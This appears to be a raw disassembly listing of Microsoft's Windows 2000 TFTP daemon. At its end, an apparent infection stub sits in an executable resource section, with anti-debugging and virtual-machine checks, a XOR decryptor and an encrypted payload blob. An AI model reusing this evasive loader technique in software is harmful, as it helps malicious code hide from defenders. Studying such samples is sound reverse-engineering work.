		pop	eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A2E:				; CODE XREF: sub_10039D6+Cj
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		cmp	[ecx], al
		setz	al


loc_1003A38:				; CODE XREF: sub_10039D6+51j
					; sub_10039D6+56j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_10039D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003A3E	proc near		; CODE XREF: sub_1001A91+5p
					; sub_100230A+8p ...
		jmp	ds:dword_100116C
sub_1003A3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003A44	proc near		; CODE XREF: sub_10018DB+FEp
					; sub_1002219+DAp
		jmp	ds:dword_1001138
sub_1003A44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003A4A	proc near		; CODE XREF: sub_1001FA6+1Fp
					; sub_1001FA6+43p
		jmp	ds:dword_100113C
sub_1003A4A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001560
		push	offset loc_1003BF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	1
		call	ds:dword_10010C4
		add	esp, 4
		mov	dword_10062D0, 0FFFFFFFFh
		mov	dword_10062D4, 0FFFFFFFFh
		call	ds:dword_10010C8
		mov	ecx, dword_100600C
		mov	[eax], ecx
		call	ds:dword_10010CC
		mov	edx, dword_1006008
		mov	[eax], edx
		mov	eax, ds:dword_10010D0
		mov	ecx, [eax]
		mov	dword_10062D8, ecx
		call	nullsub_2
		mov	eax, dword_1005DC4
		test	eax, eax
		jnz	short loc_1003AE1
		push	offset loc_1003BD0
		call	ds:dword_1001084
		add	esp, 4


loc_1003AE1:				; CODE XREF: .text:01003AD1j
		call	sub_1003BB0
		push	offset dword_100500C
		push	offset dword_1005008
		call	sub_1003BA6
		add	esp, 8
		mov	edx, dword_1006004
		mov	[ebp-28h], edx
		lea	eax, [ebp-28h]
		push	eax
		mov	ecx, dword_1006000
		push	ecx
		lea	edx, [ebp-20h]
		push	edx
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		push	ecx
		call	ds:dword_1001080
		add	esp, 14h
		push	offset dword_1005004
		push	offset dword_1005000
		call	sub_1003BA6
		add	esp, 8
		call	ds:dword_10010D8
		mov	edx, [ebp-20h]
		mov	[eax], edx
		mov	eax, [ebp-20h]
		push	eax
		mov	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		call	sub_1001570
		add	esp, 0Ch
		mov	[ebp-24h], eax
		push	eax
		call	ds:dword_10010EC
		jmp	short loc_1003B80
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-30h], ecx
		push	eax
		push	ecx
		call	sub_1003BA0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	edx, [ebp-30h]
		push	edx
		call	ds:dword_10010DC+4


loc_1003B80:				; CODE XREF: .text:01003B5Cj
		add	esp, 4
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003BA0	proc near		; CODE XREF: .text:01003B6Ap
		jmp	ds:dword_10010DC
sub_1003BA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003BA6	proc near		; CODE XREF: .text:01003AF0p
					; .text:01003B2Bp
		jmp	ds:dword_100107C
sub_1003BA6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1003BB0	proc near		; CODE XREF: .text:loc_1003AE1p
		push	30000h
		push	10000h
		call	sub_1003BF6
		add	esp, 8
		retn
sub_1003BB0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_1003BD0:				; DATA XREF: .text:01003AD3o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_1003BF0:				; DATA XREF: .text:01003A5Ao
		jmp	ds:dword_10010C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003BF6	proc near		; CODE XREF: sub_1003BB0+Ap
		jmp	ds:dword_10010BC
sub_1003BF6	endp

; ---------------------------------------------------------------------------
		dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
		dd 4012h, 101Ch, 3C88h,	2 dup(0FFFFFFFFh), 40A2h, 1000h
		dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
		dd 41A2h, 1138h, 3D04h,	2 dup(0FFFFFFFFh), 42F6h, 107Ch
		dd 5 dup(0)
		dd 4092h, 4020h, 407Eh,	4070h, 4052h, 403Eh, 0
		dd 3E6Ch, 3FF6h, 3FE6h,	3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
		dd 3E8Ah, 3EA0h, 3EB0h,	3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
		dd 3F24h, 3F3Ch, 3F56h,	3F62h, 3F70h, 3F78h, 3F92h, 0
		dd 4282h, 4272h, 428Eh,	4230h, 4226h, 421Eh, 4214h, 420Ah
		dd 4200h, 41F8h, 41F0h,	41E6h, 41DCh, 41D2h, 41CAh, 41C2h
		dd 4302h, 42E2h, 42D0h,	42C2h, 42B2h, 42A2h, 41B8h, 4262h
		dd 4254h, 424Ch, 423Ah,	4242h, 41B0h, 0
		dd 3E52h, 8000006Fh, 80000073h,	3E08h, 80000009h, 3E1Ah
		dd 8000000Fh, 3E34h, 8000000Ah,	3E42h, 80000003h, 8000000Ch
		dd 80000002h, 80000037h, 80000017h, 80000014h, 0
		dd 417Ch, 4190h, 0
		dd 4126h, 4168h, 415Eh,	4154h, 4142h, 4130h, 411Ah, 4112h
		dd 410Ah, 40F4h, 40EAh,	40D4h, 40B0h, 40C2h, 0
		dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp	db 'WSAGetOverlappedResult',0
		align 4
a2		db '2',0
aWsarecvfrom	db 'WSARecvFrom',0
		dw 0Fh
aWsacloseevent	db 'WSACloseEvent',0
		db '=',0
aWsasocketa	db 'WSASocketA',0
		align 10h
aWs2_32_dll	db 'WS2_32.dll',0
		align 4
aM		db '',0
aExitprocess	db 'ExitProcess',0
		dw 12Dh
aGetlasterror	db 'GetLastError',0
		align 2
		dw 2FDh
aWaitforsingleo	db 'WaitForSingleObject',0
a4		db '4',0
aCreateeventa	db 'CreateEventA',0
		align 10h
		db 0C5h	; 
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
		dw 1BAh
aHeapfree	db 'HeapFree',0
		align 2
		dw 1Eh
aClosehandle	db 'CloseHandle',0
aO		db 'o',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		retf
; ---------------------------------------------------------------------------
		db 1, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db 0FBh	; 
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 1B4h
aHeapalloc	db 'HeapAlloc',0
		dw 252h
aResetevent	db 'ResetEvent',0
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0D8h	; 
		db 2, 54h, 72h
aYentercritical	db 'yEnterCriticalSection',0
		dw 2C5h
aSuspendthread	db 'SuspendThread',0
		dw 254h
aResumethread	db 'ResumeThread',0
		db 0, 90h, 2
aSetevent	db 'SetEvent',0
		align 2
		dw 29Ch
aSetlasterror	db 'SetLastError',0
		align 2
aZ		db 'Z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 12Fh
aGetlocaltime	db 'GetLocalTime',0
		align 2
aP		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		db 0E5h	; 
		db 1, 53h, 74h
aArtservicectrl	db 'artServiceCtrlDispatcherA',0
		dw 1DFh
aSetservicestat	db 'SetServiceStatus',0
		align 2
		dw 1B9h
aRegisterservic	db 'RegisterServiceCtrlHandlerA',0
		db  84h	; 
		db 1, 52h, 65h
aGclosekey	db 'gCloseKey',0
		dw 1A7h
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 2
		dw 19Dh
aRegopenkeyexa	db 'RegOpenKeyExA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 10h
		db  50h	; P
		db 2, 52h, 74h
aLregisterwait	db 'lRegisterWait',0
		dw 184h
aRtlcreatetimer	db 'RtlCreateTimer',0
		align 4
		db  85h	; 
		db 1, 52h, 74h
aLcreatetimerqu	db 'lCreateTimerQueue',0
		dw 42Eh
a_chkstk	db '_chkstk',0
		db 0A1h	; 
		db 1, 52h, 74h
aLderegisterwai	db 'lDeregisterWaitEx',0
		dw 433h
a_itoa		db '_itoa',0
		dw 450h
aAtoi		db 'atoi',0
		align 2
		dw 43Dh
a_stricmp	db '_stricmp',0
		align 2
		dw 46Dh
aMemmove	db 'memmove',0
		dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
		dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
		dd 45F0072h, 70757369h,	726570h, 7473047Dh, 70636E72h
		dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
		dd 72646441h, 6E616843h, 6567h,	65470022h, 41704974h, 54726464h
		dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
		dd 7469h, 7270029Bh, 66746E69h,	2430000h, 6D697463h, 2540065h
		dd 65706F66h, 17F006Eh,	646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
		dd 0AA0000h, 6468635Fh,	7269h, 697402CDh, 656Dh, 7266025Bh
		dd 6565h, 63660249h, 65736F6Ch,	2A40000h, 6C616572h, 636F6Ch
		dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
		dd 6F6C635Fh, 6573h, 6C5F0141h,	6B656573h, 1840000h, 65706F5Fh
		dd 214006Eh, 6972775Fh,	6574h, 655F00D0h, 746978h, 585F0048h
		dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
		dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
		dd 10C0073h, 696E695Fh,	72657474h, 82006Dh, 65735F5Fh
		dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
		dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
		dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
		dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
		dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
		dd 6C6C642Eh, 0B40000h,	6E6F635Fh, 6C6F7274h, 7066h
		dd 3Ch dup(?)
_text		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 000012DC (   4828.)
; Section size in file		: 000012DC (   4828.)
; Offset to raw	data for section: 00005000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 1005000h
dword_1005000	dd 0		dword_1005004	dd 0		dword_1005008	dd 0		dword_100500C	dd 0		asc_1005010	db ' ================================================================'
					; DATA XREF: sub_1001570+4Do
		db '======== ',0Ah
		db 'Abstract:                                                        '
		db '         ',0Ah
		db ' This implements an RFC 783 tftp daemon.                         '
		db '         ',0Ah
		db ' It listens on port 69 for requests                              '
		db '         ',0Ah
		db ' and spawns a thread to process each request.                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'TFTPD USAGE and Installation:                                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db '  md d:/tftpd                                     (the StartDirec'
		db 'tory).   ',0Ah
		db '  copy //MohsinA_p90/test/tftpd.exe .                            '
		db '         ',0Ah
		db '  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path'
		db ').       ',0Ah
		db '  sc query tftpd                                  (check if insta'
		db 'lled).   ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Start:                                                           '
		db '         ',0Ah
		db '    sc start tftpd -f                             (creates a log '
		db 'file).   ',0Ah
		db 'or  sc start tftpd                                               '
		db '         ',0Ah
		db 'or  net start tftpd                                              '
		db '         ',0Ah
		db 'or  sc start tftpd [-dStartDirectory] [-e] [-f]                  '
		db '         ',0Ah
		db '    Options: -e  use event log.                                  '
		db '         ',0Ah
		db '             -f  log to file.                                    '
		db '         ',0Ah
		db '             -dStartDirectory                                    '
		db '         ',0Ah
		db 'Info:                                                            '
		db '         ',0Ah
		db '  sc interrogate tftpd           (logs will be updated).         '
		db '         ',0Ah
		db '  sc query tftpd                 Check whether running.          '
		db '         ',0Ah
		db 'Stop:                                                            '
		db '         ',0Ah
		db '  sc  stop tftpd                                                 '
		db '         ',0Ah
		db '  net stop tftpd                                                 '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Variables that control what files can be read/written and by whom'
		db ':        ',0Ah
		db '   StartDirectory - only files there will be accessible.         '
		db '         ',0Ah
		db '                    LogFile is created here.                     '
		db '         ',0Ah
		db '   ValidClients - Clients matching this ip address can read files'
		db '.        ',0Ah
		db '                    eg. you can set it to "157.55.8?.*"          '
		db '       ',0Ah
		db '   ValidMasters   - clients matching this can write and read file'
		db 's.       ',0Ah
		db '                    eg. you can set it to "" and no one can write'
		db '.      ',0Ah
		db '   ValidReadFiles - only matching files will be served out, eg. "'
		db 'r*.t?t"',0Ah
		db '   ValidWriteFiles- only matching files will be accepted,  eg. "w'
		db '*.txt" ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Client:                                                          '
		db '         ',0Ah
		db '  tftp [-i] servername {get|put} src_file dest_file              '
		db '         ',0Ah
		db '  -i from binary mode, else ascii mode is used.                  '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db ' ================================================================'
		db '======== ',0Ah,0
		align 8
aTftpd		db 'Tftpd',0            ; DATA XREF: sub_1001665+Bo
					; .data:off_1005CB0o
		align 10h
off_1005CB0	dd offset aTftpd	; DATA XREF: sub_1001570:loc_1001646o
					; "Tftpd"
		dd offset sub_1001665
		align 10h
off_1005CC0	dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
					; "Error undefined"
		dd offset aFileNotFound	; "File	not found"
		dd offset aAccessViolatio ; "Access violation"
		dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
		dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
		dd offset aUnknownTransfe ; "Unknown transfer ID"
		dd offset aFileAlreadyExi ; "File already exists"
		dd offset aNoSuchUser	; "No such user"
		dd offset aOptionNegotiat ; "Option negotiation	failure"
		align 8
dword_1005CE8	dd 2Ah,	0Dh dup(0)					; sub_10037BF+87o
dword_1005D20	dd 2Ah,	0Dh dup(0)					; sub_100333A+163o ...
dword_1005D58	dd 2Ah,	0Dh dup(0)					; sub_10037BF+EAo
dword_1005D90	dd 2Ah,	0Ch dup(0)					; sub_10037BF+11Ao
dword_1005DC4	dd 1				align 10h
dword_1005DD0	dd 0							; sub_1001E73:loc_1001F36r ...
dword_1005DD4	dd 0		dword_1005DD8	dd 0							; sub_1001665:loc_100182Er ...
dword_1005DDC	dd 0							; sub_1001665+8Br ...
dword_1005DE0	dd 0							; sub_1001E73:loc_1001F0Cr ...
		align 8
dword_1005DE8	dd 0							; sub_1001A91+2B3o
dword_1005DEC	dd 0							; sub_1001A1F+52r ...
dword_1005DF0	dd 0							; sub_1001A1F+5Ew ...
dword_1005DF4	dd 0							; sub_1001A91+59w ...
dword_1005DF8	dd 0							; sub_10018DB+EFr
dword_1005DFC	dd 0		dword_1005E00	dd 0							; sub_1002219+D5o
		db 3 dup(0)
dword_1005E07	dd 0							; sub_1003910+6Br ...
		align 4
		dd 7Ch dup(0)
dword_1005FFC	dd 0		dword_1006000	dd 0		dword_1006004	dd 0		dword_1006008	dd 0		dword_100600C	dd 0				dd 4 dup(0)
dword_1006020	dd 6 dup(0)						; .text:01001D78o ...
dword_1006038	dd 0							; sub_10018DB+34w ...
dword_100603C	dd 0		dword_1006040	dd 0							; sub_1001DEB:loc_1001E35r
dword_1006044	dd 0							; sub_1001665+DBr ...
dword_1006048	dd 6 dup(0)	dword_1006060	dd 6 dup(0)						; sub_1001A1F+2o ...
dword_1006078	dd 0							; sub_10019F0+Fw ...
dword_100607C	dd 0		dword_1006080	dd 6 dup(0)						; sub_100287F+1o ...
dword_1006098	dd 0							; sub_10018DB+25w ...
dword_100609C	dd 0		dword_10060A0	dd 0							; sub_10018DB+A2r ...
		dd 7 dup(0)
dword_10060C0	dd 0							; sub_1001665:loc_1001857o
dword_10060C4	dd 0		dword_10060C8	dd 0		dword_10060CC	dd 0				dd 0Ch dup(0)
dword_1006100	dd 4 dup(0)						; sub_1002219:loc_10022E9o
dword_1006110	dd 0				align 10h
dword_1006120	dd 0							; sub_1001665+63o ...
dword_1006124	dd 0							; sub_1001665+D1w ...
dword_1006128	dd 0							; sub_1001665+E1w
dword_100612C	dd 0							; sub_1001E73+5Aw ...
dword_1006130	dd 0							; sub_1001E73+60w ...
dword_1006134	dd 0							; sub_1001665+EBw ...
dword_1006138	dd 0							; sub_1001665+F1w ...
		align 10h
dword_1006140	dd 64h dup(0)	dword_10062D0	dd 0		dword_10062D4	dd 0		dword_10062D8	dd 0				align 200h
_data		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00007400 (  29696.)
; Section size in file		: 00007400 (  29696.)
; Offset to raw	data for section: 00007000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 1007000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 10000h, 1, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
		dd 340374h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 2B0h, 300001h,	300034h, 300039h, 420034h
		dd 30h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aR:
		unicode	0, <r%>
		dd 460001h, 6C0069h, 440065h, 730065h, 720063h,	700069h
		dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
		unicode	0, <TCP/IP Trivial file	transfer daemon.>,0
		align 4
a8		db '8',0
		dw 0Ch
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_00_2134_1:
		unicode	0, <5.00.2134.1>,0
a4_0:
		unicode	0, <4>
		dw 0Ah
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
		dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h,	690072h
		dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
		dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h,	310038h
		dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
		dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h,	65h, 660074h
		dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
		dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
		unicode	0, <Microsoft(R) Windows (R) 2000 Operating System>,0
		align 4
		db '<',0
		dw 0Ch
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
		dd 31h,	44h, 560001h, 720061h, 690046h,	65006Ch, 6E0049h
		dd 6F0066h, 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 0Bh dup(0)
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		call	sub_100742E
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_1007406	proc near		; CODE XREF: sub_100742E+4Fp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_100740E:				; CODE XREF: sub_1007406+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]
		loop	loc_100740E
		pop	ebx
		retn
sub_1007406	endp

; ---------------------------------------------------------------------------
		add	dl, dh
; START	OF FUNCTION CHUNK FOR sub_100742E


loc_100741F:				; CODE XREF: sub_100742E+3Aj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_100742E

; =============== S U B	R O U T	I N E =======================================



sub_1007421	proc near		; CODE XREF: sub_100742E+8j
					; sub_100742E+19j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_1007455
sub_1007421	endp


; =============== S U B	R O U T	I N E =======================================



sub_100742B	proc near		; CODE XREF: sub_100742E+1Cp
					; sub_100742E+22p
		rdtsc
		retn
sub_100742B	endp


; =============== S U B	R O U T	I N E =======================================



sub_100742E	proc near		; CODE XREF: start+1p

var_6		= byte ptr -6

; FUNCTION CHUNK AT 0100741F SIZE 00000002 BYTES

		test	eax, eax
		jnz	short loc_100743A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short sub_1007421
		jmp	short loc_1007449
; ---------------------------------------------------------------------------


loc_100743A:				; CODE XREF: sub_100742E+2j
		push	eax
		sidt	fword ptr [esp+4+var_6]
		pop	eax
		mov	eax, [eax+6]
		shl	eax, 10h
		jns	short sub_1007421


loc_1007449:				; CODE XREF: sub_100742E+Aj
		push	ebp
		call	sub_100742B
		xchg	eax, ecx
		call	sub_100742B


loc_1007455:				; CODE XREF: sub_1007421+8j
		sub	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 39B6h
		sub	eax, 100h
		jnb	short loc_100741F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_1007406
		jmp	near ptr 0FF84C85Dh
sub_100742E	endp

; ---------------------------------------------------------------------------
		db 0A6h
		dd 76B25331h, 0DFEC7777h, 42382D5Bh, 0ED1B930h,	0D121000h
		dd 82A96319h, 0EEDA944Bh, 0E5808C15h, 34F9683Ah, 0ED491968h
		dd 0F55EA18Dh, 0AABB9BFEh, 44DAA4B4h, 2243F15Bh, 7F7D7F7Fh
		dd 5CD17C54h, 1A48BB14h, 0D1F90B51h, 0B5ACE457h, 98E3343h
		dd 66929D78h, 4A0F2F68h, 6231210Ch, 81686A5Dh, 35F1F082h
		dd 171C379Bh, 46897525h, 4E779078h, 54115050h, 9B5E494Dh
		dd 0B8667745h, 0FDDB98ACh, 33A674Fh, 5EBBA259h,	36636D88h
		dd 61577A38h, 875B7463h, 0DB878D86h, 403C92C0h,	45561C11h
		dd 649B7140h, 9B4B494Ch, 1EA72EE0h, 9E040606h, 8D06442Fh
		dd 0BE2EA998h, 5563048Fh, 8BD85958h, 6032448h, 0A2AE8A08h
		dd 0B6E3D1F5h, 9B3B1C3Bh, 319391A0h, 2C16ECAEh,	9F424170h
		dd 0DE30C0ADh, 75467CF0h, 0ADCBF9DDh, 9F1E2C69h, 0FF7B4953h
		dd 2255B974h, 7E742928h, 0E61133BDh, 0B4A9DBD8h, 134BB2DAh
		dd 5EBCA695h, 2424D56Fh, 1B0DB7C6h, 639D1220h, 0BEDCFFDAh
		dd 3347C52Bh, 6EAC8FAAh, 6BE18D70h, 0DF4C7A64h,	722B3DC8h
		dd 0CEFCFA2Ch, 0CCC0955Bh, 166FA9E8h, 5E849280h, 5BDDFD1h
		dd 525C3200h, 0B40C0A68h, 0C7711DE0h, 0BBC8A94h, 21109D50h
		dd 0A96C6A6Bh, 644F7CDh, 1971A28h, 0C6FCE749h, 9E214BC8h
		dd 0FBA492B0h, 7E6D87EDh, 0D9F1A150h, 0DEC0A9CAh, 0DE6FFF8Bh
		dd 23841BEBh, 0B6AF1C25h, 0D5267888h, 2632EA9Ch, 59217CC6h
		dd 0E7151078h, 5F7814E8h, 15C5F3EBh, 0AE18BB5Ch, 448DF77Fh
		dd 74DA4B48h, 9E244920h, 4EFDFFF8h, 0A7D5D3B8h,	9F3854A8h
		dd 0D385B3ABh, 0F5D95498h, 6C353332h, 0DE655B08h, 0DCE5E7E0h
		dd 82557AB8h, 3694F9C7h, 3F6D6A00h, 0F7D0BC40h,	861D2B33h
		dd 0C6F4F3FAh, 0B52C5E37h, 734DA390h, 0A77D7B78h, 265551FAh
		dd 1D742B42h, 290C6E0Ah, 9EF2B54Dh, 45475FB0h, 728B310Bh
		dd 39666450h, 0E3CB1BCh, 0E610FC10h, 0EAA0ECE8h, 968A8884h
		dd 42830967h, 0F3FB7440h, 1E7E5BF6h, 4BABED13h,	0CECED081h
		dd 4E45D961h, 7EAEAE6Ch, 7A2F3903h, 215E5C68h, 6346DB4h
		dd 0A38B8708h, 49E6D4CCh, 0B31BDC8h, 66A6BFA9h,	1557D1E9h
		dd 0E9B94470h, 69111C18h, 0C6F6F6CAh, 0B25F4943h, 659A490h
		dd 0C8FBF379h, 0A756647Bh, 0CE05AA95h, 0D6F8FA00h, 0B558D2D8h
		dd 0DB7B5B2h, 6EA30C0Dh, 37179A60h, 25B2B8B7h, 5B961520h
		dd 0BEDFC665h, 96C73A3Fh, 6F631A97h, 0CBFC7570h, 1E7F61CDh
		dd 87D83CC3h, 547A72F9h, 27D7E5FBh, 4E843715h, 56787A80h
		dd 0F5D85258h, 0EE373531h, 0DE0F0CEEh, 9A18586Dh, 4134BD88h
		dd 0BF6195FAh, 0BD6B1D97h, 562D46A1h, 8448E41Bh, 4BEF9FF0h
		dd 0AEDA5A7Dh, 76BB1CA0h, 4AF27D78h, 0D9A8AB1Dh, 73844BD7h
		dd 0D6084B04h, 586DED8h, 2DBCF13Dh, 383C6ABAh, 0BD9384CBh
		dd 664054ECh, 0E6187644h, 0BE9A2263h, 96A2024Bh, 6EA09EF0h
		dd 17381C78h, 4E5E241Ah, 0DAA1B3DFh, 4C58FEC8h,	0F3B09615h
		dd 0F4B0AEC9h, 0DC88EC55h, 45643495h, 553A5C31h, 8B780E63h
		dd 0DDE8E681h, 70AAEFB9h, 0EA0D69C1h, 60705E45h, 18B7C318h
		dd 0EF21239Dh, 0C74D7BF1h, 26D0FED9h, 77A8AEB4h, 0EA7391F2h
		dd 3758BBD0h, 7ABD2E19h, 0D7391307h, 3A6C3F26h,	8789AEE3h
		dd 1E0470DBh, 0DF69574Dh, 0F413F2Fh, 8C76785Dh,	0CDA19F9Ch
		dd 0FBA0B1A8h, 39C4F8FCh, 220C1B10h, 0E0014F08h, 0C702FEB4h
		dd 0D8476F9h, 0F8D9E7F9h, 0EA91C5FEh, 0CD1C787Dh, 0B5616F76h
		dd 374C68F2h, 0B613659Ch, 0D23D6CB4h, 8129EDBBh, 3B999792h
		dd 22142B0Fh, 6A192037h, 9C486973h, 0C89C9097h,	7D44309Ch
		dd 0F3A99789h, 6D729BEh, 0D70E0102h, 301D56BFh,	0C8CD8402h
		dd 7D74208Dh, 0E2B98799h, 9F93E58Ah, 84562F7h, 1169863Ah
		dd 0C38E1712h, 0E4FD660Bh, 0D369096h, 7091B3CBh, 0EDFA8141h
		dd 206163A7h, 77E7322h,	0E12DAA6Fh, 0DD1952D3h,	7F32E9F7h
		dd 0A667F587h, 5B697B2Fh, 0F6135D33h, 0D13D429Eh, 0CD2962E3h
		dd 64292C67h, 5A999797h, 7192FEA2h, 35A4C27Ah, 0D9541F2Bh
		dd 0D9193672h, 0F581CFCBh, 29F8F1F3h, 0C47E2C2Bh, 29697CAEh
		dd 7568EFAEh, 0FD7DF80Ch, 5C6450D3h, 61B9879Fh,	9E6E72E7h
		dd 0F4FC9830h, 0FA410F10h, 0C1DD968Bh, 96F1EFEAh, 0B204523Ch
		dd 0E45E9FABh, 49495CBEh, 0DEABA1A2h, 0F92927DCh, 0E15BFFFBh
		dd 0FB88861Dh, 82B0C7FDh, 9E028780h, 3E0B0F0Dh,	0C96BF3BFh
		dd 0B6676A5Ah, 45090FE4h, 74C4043h, 6AA982D8h, 12203E3Eh
